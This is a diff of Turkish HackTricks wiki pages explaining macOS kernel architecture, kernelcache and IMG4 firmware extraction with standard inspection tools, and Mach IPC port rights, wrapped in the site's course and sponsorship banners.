AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Destek HackTricks</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# macOS Çekirdek ve Sistem Uzantıları
# macOS Çekirdek & Sistem Uzantıları
{% hint style="success" %}
AWS Hacking öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>A'dan Z'ye AWS hackleme konusunu öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın(https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni alın(https://peass.creator-spring.com)
* [**PEASS Ailesi**]'ni keşfedin(https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**]'in bulunduğu koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**]'e ve [**HackTricks Cloud**]'a katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## XNU Çekirdeği
**macOS'un çekirdeği XNU'dur**, "X is Not Unix" anlamına gelir. Bu çekirdek temel olarak **Mach mikroçekirdeği**nden (daha sonra tartışılacak) ve **Berkeley Yazılım Dağıtımı (BSD)**'den gelen unsurlardan oluşur. XNU ayrıca **I/O Kit adlı bir sistem aracılığıyla çekirdek sürücülerine platform sağlar**. XNU çekirdeği, Darwin açık kaynak projesinin bir parçasıdır, bu da **kaynak kodunun serbestçe erişilebilir** olduğu anlamına gelir.
**macOS'un çekirdeği XNU'dur**, "X is Not Unix" anlamına gelir. Bu çekirdek temel olarak **Mach mikroçekirdeği** (daha sonra tartışılacak), **ve** Berkeley Yazılım Dağıtımı (**BSD**) unsurlarından oluşur. XNU ayrıca **I/O Kit adlı bir sistem aracılığıyla çekirdek sürücülerine platform sağlar**. XNU çekirdeği, Darwin açık kaynak projesinin bir parçasıdır, bu da **kaynak kodunun serbestçe erişilebilir** olduğu anlamına gelir.
Bir güvenlik araştırmacısı veya Unix geliştiricisi açısından bakıldığında, **macOS**, şık bir GUI'ye ve bir dizi özel uygulamaya sahip bir **FreeBSD** sistemiyle oldukça **benzer** hissettirebilir. BSD için geliştirilen çoğu uygulama, Unix kullanıcılarına tanıdık gelen komut satırı araçları macOS'ta herhangi bir değişiklik yapmadan derlenip çalıştırılabilir. Ancak, XNU çekirdeği Mach'ı içerdiğinden, geleneksel bir Unix benzeri sistem ile macOS arasında bazı önemli farklılıklar bulunmaktadır ve bu farklılıklar potansiyel sorunlara neden olabilir veya benzersiz avantajlar sağlayabilir.
Bir güvenlik araştırmacısı veya Unix geliştiricisi açısından bakıldığında, **macOS**, şık bir GUI'ye ve bir dizi özel uygulamaya sahip bir **FreeBSD** sistemiyle oldukça **benzer** hissedebilir. BSD için geliştirilen çoğu uygulama, Unix kullanıcıları için tanıdık olan komut satırı araçları macOS'ta herhangi bir değişiklik yapmadan derlenip çalıştırılabilir. Ancak, XNU çekirdeği Mach'ı içerdiğinden, geleneksel bir Unix benzeri sistem ile macOS arasında bazı önemli farklılıklar vardır ve bu farklılıklar potansiyel sorunlara neden olabilir veya benzersiz avantajlar sağlayabilir.
XNU'nun açık kaynak sürümü: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
### Mach
Mach, **UNIX uyumlu** bir **mikroçekirdek**tir. Temel tasarım prensiplerinden biri, **çekirdek alanında çalışan kod miktarını en aza indirgemek** ve dosya sistemi, ağ ve G/Ç gibi birçok tipik çekirdek işlevinin **kullanıcı düzeyi görevleri olarak çalışmasına izin vermektir**.
Mach, **UNIX uyumlu** bir **mikroçekirdek**tir. Temel tasarım prensiplerinden biri, **çekirdek** alanında çalışan **kod** miktarını **en aza indirgemek** ve dosya sistemi, ağ ve I/O gibi birçok tipik çekirdek işlevini **kullanıcı düzeyi görevleri olarak çalıştırmaya izin vermektir**.
XNU'da, Mach, işlemci planlaması, çoklu görev, ve sanal bellek yönetimi gibi birçok kritik düşük seviye işlem için **sorumludur**.
XNU'da, Mach, işlemci zamanlama, çoklu görev, ve sanal bellek yönetimi gibi bir çekirdek genellikle ele aldığı birçok kritik düşük seviye işlemden **sorumludur**.
### BSD
XNU çekirdeği ayrıca **FreeBSD** projesinden türetilen önemli miktarda kodu **içerir**. Bu kod, Mach ile aynı adres alanında **çekirdeğin bir parçası olarak çalışır**. Ancak, XNU içindeki FreeBSD kodu, uyumluluğunu sağlamak için değişiklikler gerektiğinden, orijinal FreeBSD kodundan önemli ölçüde farklılık gösterebilir. FreeBSD, aşağıdaki işlemlere katkıda bulunur:
XNU **çekirdeği** ayrıca **FreeBSD** projesinden türetilen önemli miktarda kodu **içerir**. Bu kod, Mach ile birlikte **çekirdeğin bir parçası olarak çalışır**, aynı adres alanında. Ancak, XNU içindeki FreeBSD kodu, uyumluluğunu sağlamak için değişiklikler gerektiğinden, orijinal FreeBSD kodundan önemli ölçüde farklılık gösterebilir. FreeBSD, aşağıdaki gibi birçok çekirdek işlemine katkıda bulunur:
* İşlem yönetimi
* Sinyal işleme
@ -39,13 +40,13 @@ XNU çekirdeği ayrıca **FreeBSD** projesinden türetilen önemli miktarda kodu
* TCP/IP yığını ve soketler
* Güvenlik duvarı ve paket filtreleme
BSD ve Mach arasındaki etkileşimi anlamak karmaşık olabilir, çünkü bunların farklı kavramsal çerçeveleri vardır. Örneğin, BSD işlemleri temel yürütme birimi olarak kullanırken, Mach işlemi ipliklere dayalı olarak çalışır. Bu uyumsuzluk, XNU'da, **her BSD işlemini yalnızca bir Mach göreviyle ilişkilendirerek** uzlaştırılır. BSD'nin fork() sistem çağrısı kullanıldığında, çekirdekteki BSD kodu, bir görev ve bir iplik yapısı oluşturmak için Mach işlevlerini kullanır.
BSD ve Mach arasındaki etkileşimi anlamak karmaşık olabilir, farklı kavramsal çerçevelerinden dolayı. Örneğin, BSD, temel yürütme birimi olarak işlemleri kullanırken, Mach, iş parçacıklarına dayalı olarak çalışır. Bu uyumsuzluk, XNU'da, **her BSD işlemini yalnızca bir Mach göreviyle ilişkilendirerek** uzlaştırılır. BSD'nin fork() sistem çağrısı kullanıldığında, çekirdekteki BSD kodu, bir görev ve bir iş parçacığı yapısı oluşturmak için Mach işlevlerini kullanır.
Ayrıca, **Mach ve BSD'nin her birinin farklı güvenlik modelleri vardır**: **Mach'ın** güvenlik modeli **port haklarına** dayanırken, BSD'nin güvenlik modeli **işlem sahipliğine** dayanır. Bu iki model arasındaki farklar bazen yerel ayrıcalık yükseltme güvenlik açıklarına neden olmuştur. Tipik sistem çağrılarından başka, **Mach tuzağı** adı verilen kullanıcı alanı programlarının çekirdek ile etkileşimde bulunmasına izin veren özellikler de vardır. Bu farklı unsurlar bir araya gelerek macOS çekirdeğinin çok yönlü, karmaşık mimarisini oluşturur.
Ayrıca, **Mach ve BSD her biri farklı güvenlik modellerini sürdürür**: **Mach'ın** güvenlik modeli **port haklarına** dayanırken, BSD'nin güvenlik modeli **işlem sahipliğine** dayanır. Bu iki model arasındaki farklılıklar bazen yerel ayrıcalık yükseltme güvenlik açıklarına neden olmuştur. Tipik sistem çağrılarından başka, **kullanıcı alanı programlarının çekirdek ile etkileşimine izin veren Mach tuzağı** da bulunmaktadır. Bu farklı unsurlar bir araya gelerek macOS çekirdeğinin çok yönlü, karmaşık mimarisini oluşturur.
### I/O Kit - Sürücüler
I/O Kit, XNU çekirdeğindeki açık kaynaklı, nesne yönelimli bir **cihaz sürücü çerçevesi**dir ve **dinamik olarak yüklenen cihaz sürücülerini** yönetir. Çeşitli donanımı destekleyen modüler kodun çekirdeğe anında eklenmesine izin verir.
I/O Kit, XNU çekirdeğindeki açık kaynaklı, nesne yönelimli bir **cihaz sürücü çerçevesi**dir, **dinamik olarak yüklenen cihaz sürücülerini** yönetir. Çeşitli donanımı destekleyen modüler kodun çekirdeğe anında eklenmesine izin verir.
{% content-ref url="macos-iokit.md" %}
[macos-iokit.md](macos-iokit.md)
@ -59,25 +60,25 @@ I/O Kit, XNU çekirdeğindeki açık kaynaklı, nesne yönelimli bir **cihaz sü
### Kernelcache
**Kernelcache**, XNU çekirdeğinin **ön derlenmiş ve ön bağlantılı bir versiyonu** ile temel cihaz **sürücüleri** ve **çekirdek uzantıları**nı içeren bir dosyadır. Sıkıştırılmış bir formatta depolanır ve önyükleme sırasında belleğe açılır. Kernelcache, hazır çalışmaya hazır bir çekirdek ve önemli sürücülerin mevcut olduğu, aksi takdirde önyükleme sırasında bu bileşenlerin dinamik olarak yüklenip bağlanması için harcanacak zaman ve kaynakları azaltarak **daha hızlı bir önyükleme süreci** sağlar.
**Kernelcache**, XNU çekirdeğinin **ön derlenmiş ve ön bağlantılı bir sürümü** ile temel cihaz **sürücüleri** ve **çekirdek uzantıları**nı içeren bir dosyadır. Sıkıştırılmış bir formatta depolanır ve önyükleme sırasında belleğe açılır. Kernelcache, önyükleme süresini hızlandırarak, hazır çalışmaya hazır bir çekirdek ve önemli sürücülerin mevcut olmasını sağlayarak, önyükleme sırasında bu bileşenlerin dinamik olarak yüklenmesi ve bağlanması için harcanacak zaman ve kaynakları azaltır.
iOS'te **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** konumundadır, macOS'ta ise **`find / -name kernelcache 2>/dev/null`** veya **`mdfind kernelcache | grep kernelcache`** komutlarıyla bulunabilir.
iOS'ta **`/System/Library/Caches/com.apple.kernelcaches/kernelcache`** konumundadır, macOS'ta ise **`find / -name kernelcache 2>/dev/null`** veya **`mdfind kernelcache | grep kernelcache`** komutlarıyla bulunabilir.
Yüklenen çekirdek uzantılarını kontrol etmek için **`kextstat`** komutunu çalıştırmak mümkündür.
#### IMG4
IMG4 dosya formatı, Apple'ın iOS ve macOS cihazlarında **firmware** bileşenlerini güvenli bir şekilde **saklamak ve doğrulamak** için kullandığı bir konteyner formatıdır (örneğin **kernelcache**). IMG4 formatı, bir başlık ve gerçek yük (örneğin bir çekirdek veya önyükleyici), bir imza ve bir dizi manifest özelliği içeren farklı etiketleri içerir. Format, cihazın bileşeni yürütmeye geçmeden önce bileşenin otantikliğini ve bütünlüğünü doğrulamasına olanak tanıyan kriptografik doğrulamayı destekler.
IMG4 dosya formatı, Apple'ın iOS ve macOS cihazlarında **firmware** bileşenlerini güvenli bir şekilde **saklamak ve doğrulamak** için kullandığı bir konteyner formatıdır (örneğin **kernelcache**). IMG4 formatı, bir başlık ve gerçek yük (örneğin bir çekirdek veya önyükleyici) gibi farklı veri parçalarını kapsayan birkaç etiket içerir. Format, cihazın bileşeni yürütmeye geçmeden önce bileşenin otantikliğini ve bütünlüğünü doğrulamasına olanak tanıyan kriptografik doğrulamayı destekler.
Genellikle aşağıdaki bileşenlerden oluşur:
* **Yük (IM4P)**:
* Genellikle sıkıştırılmıştır (LZFSE4, LZSS, ...)
* Genellikle sıkıştırılmış (LZFSE4, LZSS, …)
* İsteğe bağlı olarak şifrelenmiş
* **Manifest (IM4M)**:
* **Manifesto (IM4M)**:
* İmza içerir
* Ek Anahtar/Değer sözlüğü
* **Restore Bilgisi (IM4R)**:
* **Geri Yükleme Bilgisi (IM4R)**:
* APNonce olarak da bilinir
* Bazı güncellemelerin tekrar oynatılmasını önler
* İSTEĞE BAĞLI: Genellikle bulunmaz
@ -92,18 +93,16 @@ img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
#### Kernelcache Sembolleri
Bazen Apple, **sembolleri** içeren **kernelcache** yayınlıyor. Sembolleri içeren bazı firmware'leri [https://theapplewiki.com](https://theapplewiki.com/) adresindeki bağlantıları takip ederek indirebilirsiniz.
Bazen Apple, **sembolleri** içeren **kernelcache** yayınlıyor. Bazı firmware'leri sembollerle birlikte indirebilirsiniz, [https://theapplewiki.com](https://theapplewiki.com/) adresindeki bağlantıları takip ederek.
### IPSW
Bunlar, [**https://ipsw.me/**](https://ipsw.me/) adresinden indirebileceğiniz Apple **firmware'leri**dir. Diğer dosyalar arasında **kernelcache** bulunacaktır.\
Dosyaları **çıkarmak** için sadece onu **zip** dosyasından çıkarmanız yeterlidir.
Firmware çıkardıktan sonra şu türde bir dosya elde edersiniz: **`kernelcache.release.iphone14`**. Bu, **IMG4** formatındadır ve ilginç bilgileri çıkarmak için şunu kullanabilirsiniz:
Firmware çıkarıldıktan sonra şöyle bir dosya elde edersiniz: **`kernelcache.release.iphone14`**. Bu, **IMG4** formatındadır ve ilginç bilgileri çıkarmak için şu aracı kullanabilirsiniz:
* [**pyimg4**](https://github.com/m1stadev/PyIMG4)
{% code overflow="wrap" %}
```bash
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
@ -113,9 +112,9 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
```bash
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
İlgili kernelcache dosyasındaki sembolleri kontrol edebilirsiniz: **`nm -a kernelcache.release.iphone14.e | wc -l`**
İşte çıkarılmış kernelcache için sembolleri kontrol edebilirsiniz: **`nm -a kernelcache.release.iphone14.e | wc -l`**
Bununla birlikte şimdi **tüm uzantıları** veya **ilgilendiğiniz birini çıkarabiliriz:**
Bununla birlikte şimdi **tüm uzantıları** veya **ilgilendiğiniz uzantıyı** çıkarabiliriz:
```bash
# List all extensions
kextex -l kernelcache.release.iphone14.e
@ -130,7 +129,7 @@ nm -a binaries/com.apple.security.sandbox | wc -l
```
## macOS Kernel Uzantıları
macOS, **Kernel Uzantılarını** (.kext) yüklemek konusunda son derece kısıtlayıcıdır çünkü bu kodun çalışacağı yüksek ayrıcalıklar nedeniyle. Aslında, varsayılan olarak neredeyse imkansızdır (bir bypass bulunmadıkça).
macOS, **Kernel Uzantılarını** (.kext) yüklemeye karşı son derece kısıtlayıcıdır çünkü bu kodun çalışacağı yüksek ayrıcalıklardan dolayı. Aslında, varsayılan olarak neredeyse imkansızdır (bir bypass bulunmadıkça).
{% content-ref url="macos-kernel-extensions.md" %}
[macos-kernel-extensions.md](macos-kernel-extensions.md)
@ -149,16 +148,17 @@ Kernel Uzantıları yerine macOS, çekirdek ile etkileşim için kullanıcı
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
{% hint style="success" %}
AWS Hacking öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR'lar göndererek paylaşın.**
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,69 +1,70 @@
# macOS IPC - İşlem Arası İletişim
{% hint style="success" %}
AWS Hacking öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan ileri seviyeye öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> ile!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin**.
* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
## Portlar Aracılığıyla Mach Mesajlaşması
### Temel Bilgiler
Mach, kaynakları paylaşmak için **görevleri** en küçük birim olarak kullanır ve her görev **çoklu iş parçacığı** içerebilir. Bu **görevler ve iş parçacıkları POSIX işlemleri ve iş parçacıklarıyla 1:1 eşlenir**.
Mach, kaynakları paylaşmak için **görevleri** kullanır ve her görev **çoklu iş parçacığı** içerebilir. Bu **görevler ve iş parçacıkları POSIX işlemleri ve iş parçacıklarıyla 1:1 eşlenir**.
Görevler arasındaki iletişim, Mach İşlem Arası İletişim (IPC) kullanılarak gerçekleşir ve tek yönlü iletişim kanallarını kullanır. **Mesajlar, portlar arasında aktarılır** ve bunlar çekirdek tarafından yönetilen **mesaj kuyrukları gibi davranır**.
Görevler arasındaki iletişim, Mach İşlem Arası İletişim (IPC) aracılığıyla gerçekleşir ve tek yönlü iletişim kanallarını kullanır. **Mesajlar, portlar arasında aktarılır** ve bunlar, çekirdek tarafından yönetilen **mesaj kuyrukları gibi davranan portlardır**.
Her işlemde bir **IPC tablosu** bulunur ve burada işlemin **mach portları** bulunabilir. Bir mach portun adı aslında bir sayıdır (çekirdek nesnesine işaret eden bir işaretçi).
Her işlem, bir **IPC tablosuna** sahiptir ve burada işlemin **mach portları** bulunabilir. Bir mach portun adı aslında bir sayıdır (çekirdek nesnesine işaret eden bir işaretçi).
Bir işlem ayrıca bir port adını bazı haklarla **farklı bir göreve gönderebilir** ve çekirdek bu girişi **diğer görevin IPC tablosuna ekler**.
Bir işlem ayrıca, bir port adını bazı haklarla başka bir göreve gönderebilir ve çekirdek bu girişi **diğer görevin IPC tablosunda** görünür hale getirir.
### Port Hakları
İletişimde önemli olan port hakları, bir görevin yapabileceği işlemleri tanımlar. Mümkün olan **port hakları** şunlardır ([buradan tanımlar](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
İletişim için kilit olan port hakları, bir görevin yapabileceği işlemleri tanımlar. Mümkün olan **port hakları** şunlardır ([buradan tanımlamalar](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
* **Alma hakkı**, porta gönderilen mesajları almayı sağlar. Mach portları MPSC (çoklu üretici, tek tüketici) kuyruklarıdır, bu da demektir ki tüm sistemde bir port için yalnızca **bir alma hakkı olabilir** (borular gibi, birden fazla işlemin bir borunun okuma ucuna ait dosya tanımlayıcılarına sahip olabileceği yerlerde).
* **Alma hakkına sahip bir görev**, mesajları alabilir ve **Gönderme hakları oluşturabilir**, böylece mesaj gönderebilir. Başlangıçta yalnızca **kendi görevi kendi portu üzerinde Alma hakkına sahiptir**.
* **Alma hakkı**, porta gönderilen mesajları almayı sağlar. Mach portları, MPSC (çoklu üretici, tek tüketici) kuyruklarıdır, bu da demektir ki tüm sistemde bir port için yalnızca **bir alma hakkı olabilir** (borular gibi, birden fazla işlem, bir borunun okuma ucuna ait dosya tanımlayıcılarını tutabilir).
* **Alma hakkına sahip bir görev**, mesajları alabilir ve **Gönderme hakları oluşturabilir**, böylece mesaj gönderebilir. Başlangıçta yalnızca **kendi görevi, portunun üzerinde Alma hakkına sahiptir**.
* **Gönderme hakkı**, porta mesaj göndermeyi sağlar.
* Gönderme hakkı **kopyalanabilir**, böylece Gönderme hakkına sahip bir görev hakkı kopyalayabilir ve **üçüncü bir göreve verebilir**.
* **Bir kez gönderme hakkı**, bir mesajı porta göndermeyi ve ardından kaybolmayı sağlar.
* Gönderme hakkı **kopyalanabilir**, böylece Gönderme hakkına sahip bir görev, hakkı kopyalayabilir ve **üçüncü bir göreve verebilir**.
* **Bir kez gönderme hakkı**, porta bir mesaj göndermeyi ve ardından kaybolmayı sağlar.
* **Port kümesi hakkı**, bir _port kümesini_ değil tek bir portu belirtir. Bir port kümesinden bir mesaj çıkarmak, içerdiği portlardan birinden bir mesaj çıkarır. Port kümeleri, Unix'teki `select`/`poll`/`epoll`/`kqueue` gibi aynı anda birkaç porta dinlemek için kullanılabilir.
* **Ölü ad**, gerçek bir port hakkı değil, yalnızca bir yer tutucudur. Bir port yok edildiğinde, portun tüm var olan port hakları ölü adlara dönüşür.
**Görevler, SEND haklarını başkalarına aktarabilir**, böylece onlara geri mesaj gönderme yeteneği kazandırabilir. **SEND hakları da klonlanabilir**, böylece bir görev hakkı kopyalayabilir ve **üçüncü bir göreve verebilir**. Bu, **aracı bir süreç olan başlangıç sunucusu** ile birlikte, görevler arasında etkili iletişim sağlar.
**Görevler, SEND haklarını başkalarına aktarabilir**, böylece onlara geri mesaj gönderme yetkisi verilebilir. **SEND hakları da klonlanabilir**, böylece bir görev hakkı çoğaltabilir ve üçüncü bir göreve verebilir. Bu, **aracı bir süreç olan başlangıç sunucusu** ile birlikte, görevler arasında etkili iletişim sağlar.
### Dosya Portları
Dosya portları, dosya tanımlayıcılarını Mac portlarına (Mach port haklarını kullanarak) kapsüllüyebilir. Belirli bir FD'den `fileport_makeport` kullanarak bir `fileport` oluşturmak ve bir FD'yi bir fileport'tan `fileport_makefd` kullanarak oluşturmak mümkündür.
Dosya portları, dosya tanımlayıcılarını Mac portlarına (Mach port hakları kullanarak) kapsüllüyebilir. Belirli bir FD'den `fileport_makeport` kullanarak bir `fileport` oluşturmak ve bir FD'yi bir fileport'tan `fileport_makefd` kullanarak oluşturmak mümkündür.
### İletişim Kanalı Kurma
#### Adımlar:
İletişim kanalını kurmak için **başlangıç sunucusu** (**mac**'de **launchd**) devreye girer.
İletişim kanalını kurmak için **başlangıç sunucusu** (**mac**'te **launchd**) devreye girer.
1. Görev **A**, bir **yeni port başlatır** ve işlemde bir **ALMA hakkı alır**.
2. ALMA hakkına sahip olan Görev **A**, port için bir **GÖNDERME hakkı oluşturur**.
3. Görev **A**, **başlangıç sunucusu** ile bir **bağlantı kurar** ve **portun hizmet adını** ve **GÖNDERME hakkını** sağlar, bu işlem **başlangıç kaydı** olarak bilinen bir prosedür aracılığıyla gerçekleşir.
4. Görev **B**, hizmet adı için bir başlangıç **araması yapmak üzere başlangıç sunucusu** ile etkileşime girer. Başarılı olursa, **sunucu Görev A'dan aldığı GÖNDERME hakkını kopyalar ve Görev B'ye iletir**.
2. ALMA hakkının sahibi olan Görev **A**, port için bir **GÖNDERME hakkı oluşturur**.
3. Görev **A**, **başlangıç sunucusu** ile bir **bağlantı kurar** ve **portun hizmet adını** ve **GÖNDERME hakkını** sağlar, bu işlem başlangıç kaydı olarak bilinen bir prosedür aracılığıyla gerçekleşir.
4. Görev **B**, hizmet adı için bir başlangıç **araması yapmak** için **başlangıç sunucusu** ile etkileşime girer. Başarılı olursa, **sunucu Görev A'dan aldığı GÖNDERME hakkını kopyalar ve Görev B'ye iletir**.
5. Bir GÖNDERME hakkı elde ettikten sonra, Görev **B**, bir **mesaj oluşturabilir** ve bunu **Görev A'ya gönderebilir**.
6. İki yönlü bir iletişim için genellikle görev **B**, bir **ALMA** hakkı ve bir **GÖNDERME** hakkı içeren yeni bir port oluşturur ve **Görev A'ya GÖNDERME hakkını verir** böylece Görev A, GÖREV B'ye mesaj gönderebilir (iki yönlü iletişim).
